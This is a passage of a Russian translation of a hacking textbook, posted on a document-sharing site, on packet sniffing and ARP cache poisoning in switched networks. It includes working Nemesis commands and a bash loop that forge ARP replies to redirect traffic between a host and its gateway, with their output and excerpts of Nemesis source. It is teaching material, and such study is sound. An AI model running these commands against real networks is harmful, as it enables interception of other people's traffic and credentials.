Главная страница
Навигация по странице:

  • Коммутатор 00:00:00:AA:AA:AAПорт 1 –00:00:00:BB:BB:BBПорт 2 –00:00:00:CC:CC:CCПорт 3 –Порт/Таблица MACадресов Рис. 4.7.

  • IP: 192.168.0.137 MAC: 00:00:00:FA:CA:DE Система атакующего IP: 192.168.0.200 MAC: 00:00:00:BB:BB:BB IP: 192.168.0.100

  • 192.168.0.200 at 00:00:00:FA:CA:DE Внутренний ARP кэш: 192.168.0.100 at 00:00:00:AA:AA:AA 192.168.0.200 at 00:00:00:BB:BB:BB Рис. 4.8.

  • arp_initdata(); arp_cmdline(argc, argv); arp_validatedata(); arp_verbose();

  • else { printf(“\n%s Packet Injected\n”, (rarp == 0 “ARP” : “RARP”)); arp_exit(0); } }

  • Фрагмент nemesis.h typedef struct libnet_arp_hdr ARPhdr;typedef struct libnet_as_lsa_hdr ASLSAhdr;typedef struct libnet_auth_hdr AUTHhdr; 276

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница29 из 51
    1   ...   25   26   27   28   29   30   31   32   ...   51

    268
    0x400Сетевое взаимодействие
    { Seq #: 2887045283 Ack #: 3843058889 }
    { Header Size: 32 Flags: PUSH ACK }
    16 bytes of packet data
    74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test..
    reader@hacking:

    /booksrc $
    Когда заголовки декодированы и разделены на уровни, понять работу соединений TCP/IP становится гораздо проще. Обратите внимание на связь IP-адресов с MAC-адресами. Кроме того, заметим, что порядко- вые номера в двух пакетах от 192.168.42.1 (первый и последний паке- ты) различаются на 9, потому что в первом пакете содержалось 9 байт фактических данных: 2 887 045 283 – 2 887 045 274 = 9. Это поле ис- пользуется протоколом TCP для обеспечения правильного порядка принимаемых данных, поскольку в силу разных причин пакеты могут поступать с задержками.
    Механизмы, встроенные в заголовки пакетов, не мешают последним быть видимыми любому, кто присутствует в данном сегменте сети. Та- кие протоколы, как FTP, POP3 и telnet, передают незашифрованные данные. Даже без инструментов вроде dsniff злоумышленник легко может перехватить передаваемые в пакетах имена пользователей и па- роли, после чего скомпрометировать другие машины. С точки зрения безопасности это не слишком хорошо, поэтому лучше использовать бо- лее интеллектуальные коммутаторы, поддерживающие коммутируе- мую сетевую среду.
    0x444 Активный сниффинг
    В коммутируемой сетевой среде пакеты передаются только в тот порт, которому они предназначены в соответствии с MAC-адресом получате- ля. Для этого требуется более интеллектуальная аппаратура, способ- ная создавать и хранить таблицы, связывающие MAC-адреса с опреде- ленными портами в зависимости от того, какое устройство подключе- но к каждому порту, как показано на рис. 4.7.
    00:00:00:BB:BB:BB
    00:00:00:CC:CC:CC
    00:00:00:AA:AA:AA
    1 2
    3
    Коммутатор
    00:00:00:AA:AA:AA
    Порт 1 –
    00:00:00:BB:BB:BB
    Порт 2 –
    00:00:00:CC:CC:CC
    Порт 3 –
    Порт/Таблица MACадресов
    Рис. 4.7. Связь MAC-адресов с определенными портами

    0x440 Анализ сетевых пакетов (сниффинг)
    269
    Преимущество коммутируемой среды в том, что устройства получа- ют только те пакеты, которые им предназначены, поэтому устройства в неразборчивом режиме не могут перехватывать чужие пакеты. Но даже в коммутируемой среде можно применять искусные способы по- лучения чужих пакетов, просто они оказываются немного сложнее.
    Для такого хакинга надо изучить детали используемых протоколов, чтобы потом комбинировать их.
    Важный элемент передачи данных в сети, позволяющий получить лю- бопытные результаты, – адрес отправителя. Сетевые протоколы нико- им образом не гарантируют совпадение адреса отправителя в пакете с действительным адресом машины отправителя. Подделка адреса от- правителя в пакете называется спуфингом (spoofing). Добавление спу- финга в арсенал приемов значительно увеличивает возможности соз- дания хаков, поскольку в большинстве систем предполагается истин- ность адреса отправителя.
    Спуфинг – первый шаг в перехвате пакетов в коммутируемой сети. Еще две интересные детали обнаруживаются в ARP. Во-первых, если ответ
    ARP содержит адрес, который уже есть в кэше ARP, приемная систе- ма заменяет прежний MAC-адрес новым, полученным в ответе (если только запись в кэше ARP не была явно помечена как немодифициру- емая). Во-вторых, информация о состоянии ARP-трафика не хранит- ся, чтобы сберечь память и не усложнять простой протокол. Это приво- дит к тому, что система принимает ARP-ответ, даже если она не посы- лала ARP-запрос.
    Правильно воспользовавшись этими тремя особенностями, атакующий может перехватывать сетевой трафик в коммутируемой сети с помо- щью технологии, известной как ARP-переадресация (ARP redirection).
    Атакующий посылает ARP-ответы с фальшивыми адресами отправи- теля некоторым устройствам, в результате чего записи в ARP-кэше этих устройств заменяются данными, переданными атакующим. Эта технология называется порчей ARP-кэша (ARP cache poisoning). Для перехвата сетевого обмена данными между точками А и Б атакующий должен испортить ARP-кэш у A (A должен считать, что IP-адрес B со- ответствует MAC-адресу атакующего) и у Б (Б должен считать, что IP- адрес А тоже соответствует MAC-адресу атакующего). После этого ма- шина атакующего просто должна пересылать все пакеты их настоя- щему конечному получателю; весь трафик между А и Б доставляется адресату, но пройдя при этом через машину атакующего, как показа- но на схеме (рис. 4.8).
    Поскольку А и Б присоединяют свои Ethernet-заголовки к отправля- емым пакетам исходя из соответствующих кэшей ARP, то IP-пакеты
    А, предназначенные для Б, фактически отправляются по MAC-адресу атакующего, и наоборот. Коммутатор фильтрует трафик только на основе MAC-адресов, поэтому согласно своему предназначению будет отсылать IP-пакеты А и Б, направляемые по MAC-адресу атакующе-

    270
    0x400Сетевое взаимодействие го, в порт атакующего. После этого атакующий заменяет заголовки
    Ethernet-пакетов, содержащих IP-пакеты, правильными и направля- ет их обратно в коммутатор, который перешлет их настоящим адреса- там. Коммутатор работает правильно, просто атакующему удалось об- манным путем заставить атакуемые машины переадресовать свой тра- фик на его машину.
    IP: 192.168.0.137
    MAC: 00:00:00:FA:CA:DE
    Система атакующего
    IP: 192.168.0.200
    MAC: 00:00:00:BB:BB:BB
    IP: 192.168.0.100
    MAC: 00:00:00:AA:AA:AA
    Система A
    Система Б
    Трафик к A
    Трафик к Б
    Внутренний ARP кэш:
    192.168.0.200 at 00:00:00:FA:CA:DE
    Внутренний ARP кэш:
    192.168.0.200 at 00:00:00:FA:CA:DE
    Внутренний ARP кэш:
    192.168.0.100 at 00:00:00:AA:AA:AA
    192.168.0.200 at 00:00:00:BB:BB:BB
    Рис. 4.8. Порча ARP-кэша
    В соответствии с установленными значениями тайм-аутов атакуемые машины периодически посылают настоящие ARP-запросы и получа- ют на них настоящие ARP-ответы. Чтобы атака переадресации не со- рвалась из-за этого, атакующий должен периодически снова портить
    ARP-кэши атакуемых машин. Для этого можно просто регулярно по- сылать поддельные ARP-ответы обеим машинам А и Б, например, каждые 10 секунд.
    Шлюз (gateway) – это система, которая направляет трафик из локаль- ной сети в Интернет. ARP-переадресация оказывается особенно ин- тересной, когда одна из атакованных машин оказывается шлюзом по умолчанию, потому что трафик между шлюзом по умолчанию и неко- торой системой и есть трафик этой системы в Интернете. Например, если машина с адресом 192.168.0.118 связана со шлюзом по адресу
    192.168.0.1 через коммутатор, то трафик будет проходить только че- рез соответствующий MAC-адрес. Это означает, что обычными спосо- бами его нельзя перехватить даже в неразборчивом режиме. Для пере- хвата этого трафика его надо переадресовать.
    Чтобы переадресовать трафик, надо сначала узнать MAC-адреса для
    192.168.0.118 и 192.168.0.1. Это можно сделать, пропинговав эти узлы, потому что при любой попытке IP-соединения будет задейство- ван ARP. Если запустить сниффер, можно увидеть ARP-пакеты, но ОС кэширует создаваемые привязки IP/MAC-адресов.

    0x440 Анализ сетевых пакетов (сниффинг)
    271
    reader@hacking:/booksrc $ ping -c 1 -w 1 192.168.0.1
    PING 192.168.0.1 (192.168.0.1): 56 octets data
    64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
    --- 192.168.0.1 ping statistics ---
    1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:/booksrc $ ping -c 1 -w 1 192.168.0.118
    PING 192.168.0.118 (192.168.0.118): 56 octets data
    64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms
    --- 192.168.0.118 ping statistics ---
    1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:/booksrc $ arp -na
    ? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0
    ? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0
    reader@hacking:/booksrc $ ifconfig eth0
    eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
    inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
    UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
    RX packets:4153 errors:0 dropped:0 overruns:0 frame:0
    TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:100
    RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
    Interrupt:9 Base address:0xc000
    reader@hacking:/booksrc $
    После пингования MAC-адреса обоих узлов 192.168.0.118 и 192.168.0.1 окажутся в ARP-кэше атакующего. Таким образом, можно отправлять пакеты истинному получателю после того, как они в результате переа- дресации попадут на машину атакующего. В предположении, что ядро скомпилировано с возможностью пересылки IP-пакетов, все, что те- перь требуется, – это отправка поддельных ARP-ответов через опреде- ленные промежутки времени. Узлу 192.168.0.118 требуется сообщить, что 192.168.0.1 имеет MAC-адрес 00:00:AD:D1:C7:ED, а узлу 192.168.0.1 – что 192.168.0.118 имеет тот же MAC-адрес 00:00:AD:D1:C7:ED. Инъек- цию поддельных ARP-пакетов можно осуществить из командной стро- ки с помощью утилиты для инъекции (ввода) пакетов под названием
    Nemesis. Nemesis изначально представляла собой комплект инстру- ментов, написанных Марком Граймзом (Mark Grimes), но в послед- ней версии 1.4 новый разработчик и руководитель проекта Джефф
    Натан (Jeff Nathan) объединил все функции в одной утилите. Исхо- дный код Nemesis находится на загрузочном диске
    1
    в каталоге /usr/src/
    nemesis-1.4/, и эта программа уже собрана и установлена.
    reader@hacking:/booksrc $ nemesis
    NEMESIS -=- The NEMESIS Project Version 1.4 (Build 26)
    1
    См. www.symbol.ru/library/hacking-2ed. – Прим. ред.

    272
    0x400Сетевое взаимодействие
    NEMESIS Usage:
    nemesis [mode] [options]
    NEMESIS modes:
    arp dns ethernet icmp igmp ip ospf (currently non-functional)
    rip tcp udp
    NEMESIS options:
    To display options, specify a mode with the option “help”.
    reader@hacking:/booksrc $ nemesis arp help
    ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
    ARP/RARP Usage:
    arp [-v (verbose)] [options]
    ARP/RARP Options:
    -S
    -D
    -h
    -m
    -s
    -r ({ARP,RARP} REPLY enable)
    -R (RARP enable)
    -P
    Data Link Options:
    -d
    -H
    -M
    You must define a Source and Destination IP address.
    reader@hacking:/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D
    192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED
    -M 00:C0:F0:79:3D:30
    ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
    [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
    [Ethernet type] ARP (0x0806)
    [Protocol addr:IP] 192.168.0.1 > 192.168.0.118

    0x440 Анализ сетевых пакетов (сниффинг)
    273
    [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
    [ARP opcode] Reply
    [ARP hardware fmt] Ethernet (1)
    [ARP proto format] IP (0x0800)
    [ARP protocol len] 6
    [ARP hardware len] 4
    Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB
    ARP Packet Injected reader@hacking:/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D
    192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M
    00:50:18:00:0F:01
    ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
    [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
    [Ethernet type] ARP (0x0806)
    [Protocol addr:IP] 192.168.0.118 > 192.168.0.1
    [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
    [ARP opcode] Reply
    [ARP hardware fmt] Ethernet (1)
    [ARP proto format] IP (0x0800)
    [ARP protocol len] 6
    [ARP hardware len] 4
    Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
    ARP Packet Injected reader@hacking:/booksrc $
    Эти две команды фабрикуют ARP-ответы от
    192.168.0.1
    для
    192.168. 0.118
    и в обратном направлении, утверждая, что их MAC-адреса имеют зна- чение 00:00:AD:D1:C7:ED. Если повторять эти команды каждые десять се- кунд, то поддельные ARP-ответы будут поддерживать ARP-кэши в ис- порченном состоянии, вызывающем переадресацию трафика. В обыч- ной оболочке BASH можно составлять из команд скрипты, пользуясь известными управляющими структурами. В следующем примере про- стой бесконечный цикл while в оболочке посылает через каждые 10 се- кунд два ответа, портящие ARP-кэш.
    reader@hacking:/booksrc $ while true
    > do
    > sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h
    00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M
    00:C0:F0:79:3D:30
    > sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h
    00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M
    00:50:18:00:0F:01
    > echo “Redirecting...”

    274
    0x400Сетевое взаимодействие
    > sleep 10
    > done
    ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
    [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
    [Ethernet type] ARP (0x0806)
    [Protocol addr:IP] 192.168.0.1 > 192.168.0.118
    [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
    [ARP opcode] Reply
    [ARP hardware fmt] Ethernet (1)
    [ARP proto format] IP (0x0800)
    [ARP protocol len] 6
    [ARP hardware len] 4
    Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
    ARP Packet Injected
    ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)
    [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
    [Ethernet type] ARP (0x0806)
    [Protocol addr:IP] 192.168.0.118 > 192.168.0.1
    [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
    [ARP opcode] Reply
    [ARP hardware fmt] Ethernet (1)
    [ARP proto format] IP (0x0800)
    [ARP protocol len] 6
    [ARP hardware len] 4
    Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
    ARP Packet Injected
    Redirecting...
    Как видите, с помощью таких простых средств, как Nemesis и стан- дартная оболочка BASH, можно быстро смастерить сетевой эксплойт.
    Для формирования и ввода фальшивых пакетов Nemesis использует библиотеку C под названием libnet. Так же как и libpcap, эта библиоте- ка использует сокеты прямого доступа и прячет несовместимость меж- ду разными платформами за стандартным интерфейсом. Кроме того, в libnet есть несколько удобных функций для работы с сетевыми паке- тами, например для получения контрольных сумм.
    Библиотека libnet предоставляет простой и единообразный API для создания и инъекции сетевых пакетов. Она хорошо документирована, функциям даны содержательные имена. Взглянув на исходный код
    Nemesis, вы увидите, как просто формировать пакеты ARP с помощью
    libnet. В исходном коде nemesis-arp.c есть несколько функций для соз- дания и инъекции ARP-пакетов, использующие статически определен- ные структуры данных для хранения информации заголовков пакетов.

    0x440 Анализ сетевых пакетов (сниффинг)
    275
    Приведенная ниже функция nemesis_arp() вызывается в nemesis.c, что- бы сформировать и ввести ARP-пакет.
    Фрагмент nemesis-arp.c
    static ETHERhdr etherhdr;
    static ARPhdr arphdr;
    void nemesis_arp(int argc, char **argv)
    {
    const char *module= “ARP/RARP Packet Injection”;
    nemesis_maketitle(title, module, version);
    if (argc > 1 && !strncmp(argv[1], “help”, 4))
    arp_usage(argv[0]);
    arp_initdata();
    arp_cmdline(argc, argv);
    arp_validatedata();
    arp_verbose();
    if (got_payload)
    {
    if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file,
    (const u_int32_t)PAYLOADMODE) < 0)
    arp_exit(1);
    }
    if (buildarp(ðerhdr, &arphdr, &pd, device, reply) < 0)
    {
    printf(“\n%s Injection Failure\n”, (rarp == 0 ? “ARP” : “RARP”));
    arp_exit(1);
    }
    else
    {
    printf(“\n%s Packet Injected\n”, (rarp == 0 ? “ARP” : “RARP”));
    arp_exit(0);
    }
    }
    Структуры ETHERhdr и ARPhdr определены в файле nemesis.h (см. ниже) как синонимы для имеющихся в libnet структур данных. В языке C для создания синонимов типов данных применяется оператор typedef.
    Фрагмент nemesis.h
    typedef struct libnet_arp_hdr ARPhdr;
    typedef struct libnet_as_lsa_hdr ASLSAhdr;
    typedef struct libnet_auth_hdr AUTHhdr;

    276
    0x400Сетевое взаимодействие typedef struct libnet_dbd_hdr DBDhdr;
    typedef struct libnet_dns_hdr DNShdr;
    typedef struct libnet_ethernet_hdr ETHERhdr;
    typedef struct libnet_icmp_hdr ICMPhdr;
    typedef struct libnet_igmp_hdr IGMPhdr;
    typedef struct libnet_ip_hdr IPhdr;
    Функция nemesis_arp() вызывает ряд других функций из этого файла: arp_initdata()
    , arp_cmdline(), arp_validatedata() и arp_verbose(). По име- ни функции можно догадаться, что она инициализирует данные, обра- батывает аргументы командной строки, проверяет корректность дан- ных или выводит какие-то подробные сообщения. Функция arp_init- data()
    действительно инициализирует значения в статически опреде- ленных структурах данных.
    Приведенная ниже функция arp_initdata() записывает в различные элементы структур заголовков значения, соответствующие ARP- пакетам.
    Фрагмент nemesis-arp.c
    static void arp_initdata(void)
    {
    /* Значения по умолчанию */
    etherhdr.ether_type = ETHERTYPE_ARP; /* Тип пакета Ethernet ARP */
    memset(etherhdr.ether_shost, 0, 6); /* Адрес отправителя Ethernet */
    memset(etherhdr.ether_dhost, 0xff, 6); /* Адрес получателя Ethernet */
    arphdr.ar_op = ARPOP_REQUEST; /* Код операции ARP : запрос */
    arphdr.ar_hrd = ARPHRD_ETHER; /* Код устройства: Ethernet */
    arphdr.ar_pro = ETHERTYPE_IP; /* Код протокола: IP */
    arphdr.ar_hln = 6; /* 6 байт физического адреса */
    arphdr.ar_pln = 4; /* 4 байта логического адреса */
    memset(arphdr.ar_sha, 0, 6); /* Физический адрес отправителя*/
    memset(arphdr.ar_spa, 0, 4); /* Логический адрес отправителя */
    memset(arphdr.ar_tha, 0, 6); /* Физический адрес получателя */
    memset(arphdr.ar_tpa, 0, 4); /* Логический адрес получателя */
    pd.file_mem = NULL;
    pd.file_s = 0;
    return;
    }
    Наконец, функция nemesis_arp() вызывает функцию buildarp(), пере- давая ей указатели на структуры заголовков. Судя по тому, как об- рабатывается возвращаемое ею значение, buildarp() формирует па- кет и вводит его. Эта функция есть в другом исходном файле, nemesis-
    proto_arp.c.
    1   ...   25   26   27   28   29   30   31   32   ...   51


    написать администратору сайта